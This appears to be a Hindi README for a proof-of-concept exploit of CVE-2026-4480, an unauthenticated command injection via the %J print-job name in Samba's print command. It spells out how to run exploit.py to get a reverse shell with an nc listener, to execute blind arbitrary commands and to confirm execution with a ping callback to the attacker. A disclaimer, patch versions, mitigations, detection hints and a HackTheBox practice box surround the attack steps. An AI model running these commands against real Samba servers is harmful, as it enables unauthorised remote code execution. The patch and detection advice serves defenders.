CVE-2026-4480: Samba प्रिंट-कमांड (%J) इंजेक्शन PoC

महत्वपूर्ण — पहले यह पढ़ें:
यह रिपॉजिटरी और exploit.py केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए प्रदान किए गए हैं। इस कोड का उपयोग उन सिस्टम, नेटवर्क या सेवाओं के विरुद्ध न करें जिनके लिए आपके पास स्पष्ट, लिखित प्राधिकरण नहीं है। कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध और अनैतिक है। इस कोड का उपयोग करके आप लागू कानूनों और संस्थागत नीतियों का पालन करने के लिए सहमत होते हैं।

Samba के प्रिंट सबसिस्टम में अनऑथेंटिकेटेड रिमोट कमांड निष्पादन। जब कोई प्रिंट कार्य स्पूलिंग पूरा करता है, तो Samba कॉन्फ़िगर किए गए print command को system() के माध्यम से चलाता है, जिसमें स्ट्रिंग में %s (स्पूल फ़ाइल पथ) और %J (क्लाइंट-आपूर्ति कार्य नाम) को प्रतिस्थापित करता है। फिक्स से पहले कार्य नाम को केवल एक रूपांतरण ' → _ के साथ पास किया जाता था और कुछ नहीं, इसलिए |, ;, &, स्पेस, <, > और बैकटिक्स सभी शेल तक पहुंचते हैं। इसलिए %J का संदर्भ देने वाला print command एक शेल-इंजेक्शन सिंक है, और चूंकि मेहमान प्रिंट कार्य सबमिट कर सकते हैं, समस्या pre-auth है।

• CVE: CVE-2026-4480
• CVSS: 10.0
• फिक्स्ड इन: Samba 4.22.10, 4.23.8, 4.24.3
• प्रभावित: ऐसे प्रिंट बैकएंड जो %J (printing = sysv-शैली) का संदर्भ देने वाला बाहरी print command चलाते हैं। printing = cups / iprint CUPS API के माध्यम से जाते हैं और प्रभावित नहीं होते।

आवश्यकताएँ

• Samba Python बाइंडिंग के साथ Linux:
  root@kitploit:~

  sudo apt install python3-samba
  

• लक्ष्य के SMB पोर्ट (445/139) तक नेटवर्क पहुंच।
• लक्ष्य पर एक अतिथि-सुलभ प्रिंटर शेयर जिसका print command %J का संदर्भ देता है।

उपयोग

python3 exploit.py <rhost> <lhost> <lport> [-P PRINTER] [-c CMD]

रिवर्स शेल

# terminal 1: listener
nc -lvnp 4444

# terminal 2: fire the exploit
python3 exploit.py 10.129.244.177 10.10.14.100 4444

आपको प्रिंट सेवा खाते (जैसे nobody) के रूप में एक शेल मिलना चाहिए।

एकल कमांड चलाएं (अंधा)

python3 exploit.py 10.129.244.177 x x -c 'id > /dev/shm/o 2>&1'

चूंकि निष्पादन अंधा है (कमांड सर्वर-साइड चलता है और RPC चैनल पर कुछ भी वापस नहीं करता), पहले इसे आउट-ऑफ-बैंड पुष्टि करें, उदाहरण के लिए एक ICMP कॉलबैक जिसे आप tcpdump -ni tun0 icmp के साथ देखते हैं:

python3 exploit.py 10.129.244.177 x x -c 'ping -c 3 10.10.14.100'

पहचान / शमन

• पैच 4.22.10 / 4.23.8 / 4.24.3 (या बाद के संस्करण) पर लागू करें।
• यदि आप पैच नहीं कर सकते, तो मैक्रो को उद्धृत करें: print command = /usr/local/bin/print-helper %s '%J', %J हटाएं, या printing = cups पर जाएं।
• smbd द्वारा शेल (sh/bash/nc/python/curl) स्पॉन करने की खोज करें और शेल मेटाकैरेक्टर वाले दस्तावेज़ नामों को दस्तावेज़ित करें।

HackTheBox पर अभ्यास

मैंने HackTheBox पर Abducted नामक एक बॉक्स बनाया है ताकि कमजोरी को प्रदर्शित किया जा सके और आपको एक व्यावहारिक उदाहरण दिया जा सके कि कैसे हमलावर गलत कॉन्फ़िगरेशन वाले वातावरण में इसका लाभ उठा सकते हैं।